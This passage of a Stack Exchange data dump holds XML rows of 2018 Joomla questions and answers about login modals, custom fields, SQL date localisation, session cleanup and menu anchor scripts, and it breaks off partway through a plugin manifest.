  <row Id="22497" PostTypeId="1" CreationDate="2018-03-02T19:55:53.530" Score="2" ViewCount="1054" Body="&lt;p&gt;Is there any way of opening the &quot;login&quot; menu item as a modal box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow the user to stay on the same page after logging in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want 3rd party extensions as they tend to crack with time, I was thinking more of an override of the users component, together with some sort of class or attribute to open the login page as a modal instead of redirecting the user to a login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Ulkit - see &lt;a href=&quot;https://getuikit.com/docs/modal#modal-example&quot; rel=&quot;nofollow noreferrer&quot;&gt;here an example of modal component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My page is &lt;a href=&quot;https://www.portal-gestao.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for helping!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2019-08-08T13:40:15.897" Title="Login menu item as modal" Tags="|joomla-3.x|login|modal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22498" PostTypeId="1" AcceptedAnswerId="22504" CreationDate="2018-03-03T01:45:17.527" Score="0" ViewCount="48" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  // Turn fields from array numbers into field names.  I usually stick this in the head somewhere.&#xA;  foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield){&#xA;    $this-&amp;gt;item-&amp;gt;field[$jcfield-&amp;gt;name] = $jcfield;&#xA;  }&#xA;?&amp;gt;&#xA;&#xA;// Call the field by the name.  With error checking if it is empty.  &#xA;&amp;lt;?php&#xA;    echo &quot;Value: &quot; . $this-&amp;gt;item-&amp;gt;field['price']-&amp;gt;value;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here I have a field called &quot;price&quot; that is being called by the name.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But say I decide I want to put it in a function instead.  I tried but I'm getting a using $this in non object context.  Here's what I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function callFieldByName($fieldName){&#xA;    echo &quot;Value: &quot; . $this-&amp;gt;item-&amp;gt;field[$fieldName]-&amp;gt;value;&#xA;    }&#xA;&#xA;callFieldByName('price');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like a pretty noob question.  Thanks for your help in advance.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-03-05T02:18:05.203" Title="How could I make Joomla! fields as a function" Tags="|custom-field|fields|com-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22500" PostTypeId="1" CreationDate="2018-03-03T16:48:23.410" Score="1" ViewCount="181" Body="&lt;p&gt;I make a query directly on the database like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT title,id, DATE_FORMAT(publish_up, &quot;%d %M %Y&quot;) AS 'GEORGE' FROM #__k2_items WHERE published=1 AND trash=0 AND created_by=[id] ORDER BY publish_up DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then display it like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span style=&quot;font-weight:normal;&quot;&amp;gt;[column_title]&amp;lt;/span&amp;gt;&amp;amp;nbsp&amp;amp;nbsp&amp;amp;nbsp&amp;amp;nbsp&amp;lt;span&amp;gt;[column_GEORGE]&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is in English but I want it in my language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This query is done within Community Builder with the help of a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have search all the files and I have changed for example &quot;January&quot; with my countries word but with no result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a localize thing of mysql database?How can I fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3375" LastActivityDate="2018-08-08T13:39:19.840" Title="Localize output of SQL query" Tags="|joomla-3.x|mysql|database|community-builder|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22502" PostTypeId="2" ParentId="22489" CreationDate="2018-03-04T12:43:45.233" Score="0" Body="&lt;p&gt;That's what I ended up doing yesterday after testing a few times. It worked fine.   &lt;/p&gt;&#xA;" OwnerUserId="8424" LastActivityDate="2018-03-04T12:43:45.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22503" PostTypeId="1" AcceptedAnswerId="22520" CreationDate="2018-03-04T14:30:57.583" Score="0" ViewCount="36" Body="&lt;p&gt;I want to know if you guys know of any good components or extensions which can perform the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a user to be able to submit a form, view this form and edit it when they require. Every time the form is updated, an email is sent to whoever you added as a CC/email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of this as a courier process. So there will be steps which I can change from &quot;Pending&quot; to &quot;Shipped&quot;, &quot;At courier facility&quot; etc.&lt;/p&gt;&#xA;" OwnerUserId="9578" LastActivityDate="2018-03-07T07:24:04.997" Title="Component/software recommendation?" Tags="|joomla-3.x|component|form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22504" PostTypeId="2" ParentId="22498" CreationDate="2018-03-05T02:18:05.203" Score="1" Body="&lt;p&gt;I presume you're in a template override of com_content.  In which case your $this will point to an instance of a view class, eg. ContentViewArticle or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP does allow you to declare functions at runtime within objects but $this won't be in scope so you have to pass in a handle of the object. So you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield){&#xA;    $this-&amp;gt;item-&amp;gt;field[$jcfield-&amp;gt;name] = $jcfield;&#xA;}    &#xA;&#xA;function showField($obj,$name){&#xA;    echo (!empty($obj-&amp;gt;item-&amp;gt;field[$name]-&amp;gt;value)) ? &quot;Value: &quot; . $obj-&amp;gt;item-&amp;gt;field[$name]-&amp;gt;value : &quot;&quot;;&#xA;}&#xA;&#xA;showField($this,'price');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which really seems like it isn't worth it. It's probably easier to just do the work in the foreach loop to prepare for layout. eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$f = [];&#xA;foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield){&#xA;    $f[$jcfield-&amp;gt;name] = (!empty($jcfield-&amp;gt;value)) ? &quot;&amp;lt;br&amp;gt;Value: &quot; . $jcfield-&amp;gt;value : &quot;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-03-05T02:18:05.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22505" PostTypeId="1" AcceptedAnswerId="22506" CreationDate="2018-03-05T02:48:45.173" Score="0" ViewCount="41" Body="&lt;p&gt;I was using protostar for a looong time. I jsut bought a theme and switched to it (it uses helix framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as i switched it. On all pages a text appeared &#xA;&quot;// You can place JavaScript like...&quot; /&gt;&quot; First line after body tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though it was the sourcerer first i disabled it but nothing changed. I installed the theme to a fresh joomla install and vala no text there. But i am developing this site for long time. I dont know which  extension is causing it. Weird thing is that it is not there if i use protostar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No tags around, first text. I searched file contents and it didn't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not see when it is loaded, i can not see which file outputs it.&#xA;How can i debug something like this ?&lt;/p&gt;&#xA;" OwnerUserId="12294" LastActivityDate="2018-03-05T06:24:40.067" Title="How to debug joomla behaviors?" Tags="|debug|header|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22506" PostTypeId="2" ParentId="22505" CreationDate="2018-03-05T06:24:40.067" Score="1" Body="&lt;p&gt;There's a sourcerer tag used in the facebook og tag generator.  If you switch the view source you can see it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;meta property=&quot;og:description&quot; content=&quot; &amp;lt;!-- You can place html anywhere within the source tags --&amp;gt; &amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt; // You can place JavaScript like...&quot; /&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The content you can see in the body is just spilling out the broken tag.  I don't know whether the og tag is generated by the template or a plugin.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-03-05T06:24:40.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22509" PostTypeId="1" AcceptedAnswerId="22512" CreationDate="2018-03-05T19:04:19.283" Score="1" ViewCount="1010" Body="&lt;p&gt;I am trying to do a simple calculation on two Joomla custom fields in a module. &#xA;I get the article ID as a variable and want to put this in the WHERE clause to get the right custom field value.&#xA;Have tried many thing, but can't manage.&#xA;The field_id is 4 of the field I need and when I fill in the article ID as a number, it is working, but I can't get the variable to work (which I need so the module uses the article ID).&#xA;Hope somebody can help me out?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;&#xA;   $db = JFactory::getDbo();&#xA;   $query = $db-&amp;gt;getQuery(true);&#xA;   $query-&amp;gt;select('value', 'item_id', 'field_id')&#xA;         -&amp;gt;from ($db-&amp;gt;quoteName('#__fields_values'))&#xA;         -&amp;gt;where($db-&amp;gt;quoteName('#__fields_values.field_id=4'))&#xA;         -&amp;gt;where($db-&amp;gt;quoteName('#__fields_values.item_id')=$article_id);&#xA;   $db-&amp;gt;setQuery($query);&#xA;&#xA;&#xA;     $result = $db-&amp;gt;loadResult();&#xA;     return $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12298" LastActivityDate="2018-03-06T10:08:25.903" Title="SQL WHERE clause with a variable (current article ID)" Tags="|joomla-3.x|mysql|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22511" PostTypeId="2" ParentId="22500" CreationDate="2018-03-06T00:58:43.207" Score="1" Body="&lt;p&gt;If we're not talking about many values that you need to translate, then you can have a file called &lt;code&gt;gr_GR.plg_content_your_plugin.ini&lt;/code&gt; in your &lt;code&gt;languages/gr_GR folder&lt;/code&gt; (assuming the language that you want to translate is Greek). In that file, you can have something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VALUE_GEORGE=George in Greek&#xA;VALUE_JOHN=John in Greek&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, when you want to print the translate value of a variable anywhere, you can have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JText::_('VALUE_GEORGE'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-03-06T00:58:43.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22512" PostTypeId="2" ParentId="22509" CreationDate="2018-03-06T03:38:07.923" Score="3" Body="&lt;p&gt;Your code contains several errors, including a syntax error. You should use an IDE with proper code completion and signature hints (any modern IDE should be able to do that).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$query-&amp;gt;select('value', 'item_id', 'field_id')&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JDatabaseQuery::select()&lt;/code&gt; takes exactly &lt;em&gt;one&lt;/em&gt; parameter. If it is only one field, you can provide the name as a string directly; otherwise, it must be an array of field names. In any case, the field names should be escaped. Your code yields in selecting only &lt;code&gt;value&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('#__fields_values.field_id=4'))&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JDatabaseDriver::quoteName()&lt;/code&gt; takes a field name and optionally an alias as parameter, not an expression. Your code produces &lt;code&gt;`#__fields_values`.`field_id=4`&lt;/code&gt;, leading to an SQL error. Also, since you are working with a single table, fully qualifying column names is not necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('#__fields_values.item_id')=$article_id)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are trying to assign a value to a function, which results in a syntax error. Also, you are not sanitising user input, which makes your code vulnerable to SQL injections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$result = $db-&amp;gt;loadResult()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are fetching one field only, why do you try to select three fields?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you fix the issues, your code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;&#xA;$db    = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('value'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__fields_values'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('field_id') . '=4')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('item_id') . '=' . (int) $article_id)&#xA;;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;return $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and should work like expected.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2018-03-06T03:38:07.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22514" PostTypeId="1" CreationDate="2018-03-06T11:52:04.013" Score="0" ViewCount="35" Body="&lt;p&gt;Its my first time to work with Joomla and I need to make a plugin that basically stores/updates a name and a City the thing is that I want this functionality only in admin panel not in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a bit confusing to me weather I should create a component or a module or a plugin ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has a good guide on how to create such functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12301" LastActivityDate="2018-03-06T13:32:03.493" Title="Need guide on Joomla" Tags="|joomla-3.x|component|module|administrator|" AnswerCount="1" CommentCount="2" ClosedDate="2018-03-08T11:10:09.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="22515" PostTypeId="2" ParentId="22514" CreationDate="2018-03-06T13:32:03.493" Score="1" Body="&lt;p&gt;If you want to be able to add unlimited names and cities to a database, then make a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want just two text fields, then make a module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins are more for filtering content once it has been added to the site, so do not seem applicable here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your template is a bespoke one, then you may also have the option to add template parameters if these fields are to be site-wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; is as good as anything - it doesn't sound like you need anything beyond a basic hello world module to do everything you need.  Modules are far simpler than components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you browse around, there are a few module creators that may do what you want, but if you have the PHP knowledge, modules aren't that tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure what you mean by &quot;want this functionality only in admin panel not in the front end&quot;.  Generally you'd add the content in the back end and display it in the front end.  You may wish to edit your question to explain what you want to do with the information once someone has entered it, if it is not to be displayed on the front end.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-03-06T13:32:03.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22518" PostTypeId="1" AcceptedAnswerId="22523" CreationDate="2018-03-06T20:45:35.887" Score="7" ViewCount="3198" Body="&lt;p&gt;I'm running a 3.8.5 site with a fair bit of traffic. Because of some recent problems I noticed that the &lt;code&gt;__session&lt;/code&gt; table is not being automatically tidied up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The session lifetime is set to 1 hour (60 minutes), but when I realised there was a problem, there were sessions in the database which were over a month old. I've truncated the &lt;code&gt;__session&lt;/code&gt; table four hours ago and it contains sessions which four hours old, so the garbage collections doesn't seem to be working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't be certain of the exact time-stamp of the the oldest session before I truncated the &lt;code&gt;__session&lt;/code&gt; table, but I think it was 30th/31st of January 2018. This may be a coincidence, but it would correlate with the release of 3.8.4, which includes this &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/19165&quot; rel=&quot;noreferrer&quot;&gt;pull request&lt;/a&gt; that modifies how sessions are cleaned up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure that database sessions older than 'session lifetime' are correctly deleted.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-03-07T15:56:55.313" Title="Old sessions not being automatically deleted from the database" Tags="|session|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22519" PostTypeId="2" ParentId="22518" CreationDate="2018-03-07T05:39:04.637" Score="7" Body="&lt;p&gt;I believe changes were made to Joomla with the release of version 3.8.4, and that the session table will no longer be cleared if using 'Database' as the session handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/19548&quot; rel=&quot;noreferrer&quot;&gt;page on Github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommendation was to change the session handler from 'Database' to 'PHP'. To change this setting, log into the backend of the website. Access the System -&gt; Global Configuration menu. Navigate to the System tab, and scroll down to the Sessions Settings heading. Select PHP from the drop-down list for the Session Handler option.&lt;/p&gt;&#xA;" OwnerUserId="11967" LastActivityDate="2018-03-07T05:39:04.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22520" PostTypeId="2" ParentId="22503" CreationDate="2018-03-07T07:24:04.997" Score="2" Body="&lt;p&gt;&lt;strong&gt;Forms Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the forms extensions can help with redisplaying and editing submitted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChronoForms can certainly do this. RSForm! Pro can probably do this also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forms extensions in the JED are at: &lt;a href=&quot;https://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/contacts-and-feedback/forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specific Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/vertical-markets/jb-logistic&quot; rel=&quot;nofollow noreferrer&quot;&gt;JB Logistic&lt;/a&gt; is not free but may be able to do some or all of what you are after.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-03-07T07:24:04.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22522" PostTypeId="2" ParentId="21840" CreationDate="2018-03-07T12:40:31.417" Score="1" Body="&lt;p&gt;How itoctopus said, every answer on that topic is likely to be subjective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can highly customize the behaviour and looks of your extension in the backend (Easyblog, Akeeba etc.). You don't have to do everything with the given Joomla tools and limitations. You even could create a different admin template for emyployee user accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO I would locate most code of my component in the administration part and would just call controller, helper, model files from the frontend if needed. (Keep security in mind!) I don't see the need to have duplicates of backend features in the frontend. (Don't repeat yourself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could have customer management in the backend and could load the same management in the frontend for a user account feature, excluding some admin functions like &quot;delete user&quot; by checking ACL access rights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question is the usability for the end user, is he / she doing other stuff in the frontend which could relate to your component and if, does it make sense to locate that in the admin area with a different UI or wouldn't it be streamless within the frontend look and feel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For intranet solutions I would provide user features in the frontend area and would use the backend just to manage admin aspects of the component / system.&#xA;Therefore it's easier to manage menu structure (you can use SEF-URLs here), modules and com_component pages like a guideline page. And IMO the frontend is easier to extend with new, yet unknown features or 3rd-party extensions.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2018-03-07T12:40:31.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22523" PostTypeId="2" ParentId="22518" CreationDate="2018-03-07T15:56:55.313" Score="7" Body="&lt;p&gt;I've got a solution after reading the various pull requests on GitHub as pointed out above by Adam Gatt and Drew G.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the summary of changes for &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/19548&quot; rel=&quot;noreferrer&quot;&gt;github.com/joomla/joomla-cms/pull/19548&lt;/a&gt;, is says that database session data is cleared according to the schedule set by PHPs session probabilistic garbage collection. Checking my PHP configuration, I found that the &lt;code&gt;session.gc_probability&lt;/code&gt; variable was set to zero, so session garbage collection would never run. Changing this value to 1 (with a divisor of 1000), has resulted in the sessions table being periodically cleaned out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to mark this answer as correct as I think Adam Gatt's answer, suggesting a switch away from the database as a session handler, is equally valid. Also Drew G's point about session handling changing in the upcoming Joomla release will probably make all of this irrelevant anyway.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-03-07T15:56:55.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22527" PostTypeId="1" CreationDate="2018-03-08T07:25:32.083" Score="0" ViewCount="567" Body="&lt;p&gt;&lt;strong&gt;What I'm doing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working on my Menu. I have one Menu-Item which links to a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; that I have given an &lt;code&gt;&amp;lt;div id=&quot;foo&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I link to this id by using the external url option with a link to &lt;em&gt;/subpage#foo&lt;/em&gt;&#xA;&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across 2 problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The link does not work correctly, rather than the top of the screen being the start of the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; it seems that it actually links &quot;above&quot; the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; (so the start being on the bottom of the screen)&lt;/li&gt;&#xA;&lt;li&gt;When I'm on this subpage where the link leads to and I press the link to the ID again, the whole site freezes and I can't do anything anymore until I reload the page&#xA;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For clarification the structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;menu-item (not clickable)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;subpage&lt;/li&gt;&#xA;&lt;li&gt;subpage#foo&#xA;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I overlooking something or why does it behave like that?&#xA;&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the comments I figured out the JavaScript code that causes the error, yet I am not very proficient in JS so I do not know what exactly is wrong with it, so here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function() {&#xA;  $(&quot;.animsition&quot;).animsition({&#xA;    inClass: 'fade-in',&#xA;    outClass: 'fade-out',&#xA;    inDuration: 700,&#xA;    outDuration: 700,&#xA;    linkElement: '.fade-links a',&#xA;    linkElement: 'a:not([target=&quot;_blank&quot;]):not([href^=&quot;#&quot;]):not([href^=&quot;mailto&quot;])',&#xA;    loading: true,&#xA;    loadingParentElement: 'body', //animsition wrapper element&#xA;    loadingClass: 'animsition-loading',&#xA;    loadingInner: '', // e.g '&amp;lt;img src=&quot;/loading.svg&quot; /&amp;gt;'&#xA;    timeout: false,&#xA;    timeoutCountdown: 5000,&#xA;    onLoadEvent: true,&#xA;    browser: [ 'animation-duration', '-webkit-animation-duration'],&#xA;    // &quot;browser&quot; option allows you to disable the &quot;animsition&quot; in case the css property in the array is not supported by your browser.&#xA;    // The default setting is to disable the &quot;animsition&quot; in a browser that does not support &quot;animation-duration&quot;.&#xA;    overlay : false,&#xA;    overlayClass : 'animsition-overlay-slide',&#xA;    overlayParentElement : 'body',&#xA;    transition: function(url){ window.location.href = url; }&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it partially fixed by adding &lt;code&gt;:not([href^=&quot;/./subpage#foo&quot;])&lt;/code&gt; to the line &lt;code&gt;linkElement&lt;/code&gt;.&lt;br&gt;&#xA;&lt;br&gt;Partially because now I don't have the freezing problem anymore, yet when I click on the menu item from anywhere &lt;strong&gt;other&lt;/strong&gt; than the subpage, it still doesnt take me to the correct spot. &lt;br&gt;&lt;br&gt;&#xA;(So navigating from subpage -&gt; subpage#foo works but otherpage -&gt; subpage#foo doesn't)&lt;/p&gt;&#xA;" OwnerUserId="12251" LastEditorUserId="12251" LastEditDate="2018-03-08T16:01:12.373" LastActivityDate="2018-09-04T18:02:21.350" Title="Navigation link to div id does not behave correctly" Tags="|joomla-3.x|javascript|menu-item|submenu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22528" PostTypeId="2" ParentId="22527" CreationDate="2018-03-08T10:24:25.410" Score="1" Body="&lt;p&gt;Regarding the first point - if you turn off javascript then it jumps to the right place, but the page is shorter and none of the content visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This suggests that you are loading some content dynamically &lt;em&gt;after&lt;/em&gt; the page has loaded.   This additional content will be pushing the layout of the page around and so your scroll position will change.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I would say you should remove any decorative javascript - a site that has no content visible without javascript could well end up with terrible SEO, and decoration-for-the-sake-of-decoration offers no usability benefit.  Styling should really be CSS only - you should have good reason before using javascript for such things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The freeze will almost certainly be a javascript error.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-03-08T10:24:25.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22529" PostTypeId="1" AcceptedAnswerId="22531" CreationDate="2018-03-08T10:26:16.660" Score="3" ViewCount="167" Body="&lt;p&gt;I need to create a plugin that displays a popup when an user makes a log in on my Joomla 3.6.4 website. I know that I need to create a Plugin and trigger the onUserAfterLogin event, but I don't know how to create HTML and Javascript from inside a Plugin. So, my &lt;strong&gt;popuplogin.xml&lt;/strong&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.6&quot; type=&quot;plugin&quot; group=&quot;user&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;Popuplogin&amp;lt;/name&amp;gt;&#xA;        &amp;lt;author&amp;gt;XX&amp;lt;/author&amp;gt;&#xA;        &amp;lt;creationDate&amp;gt;08/03/2018&amp;lt;/creationDate&amp;gt;&#xA;        &amp;lt;copyright&amp;gt;2018&amp;lt;/copyright&amp;gt;&#xA;        &amp;lt;license&amp;gt;GNU General Public License&amp;lt;/license&amp;gt;&#xA;        &amp;lt;authorEmail&amp;gt;XXX&amp;lt;/authorEmail&amp;gt;&#xA;        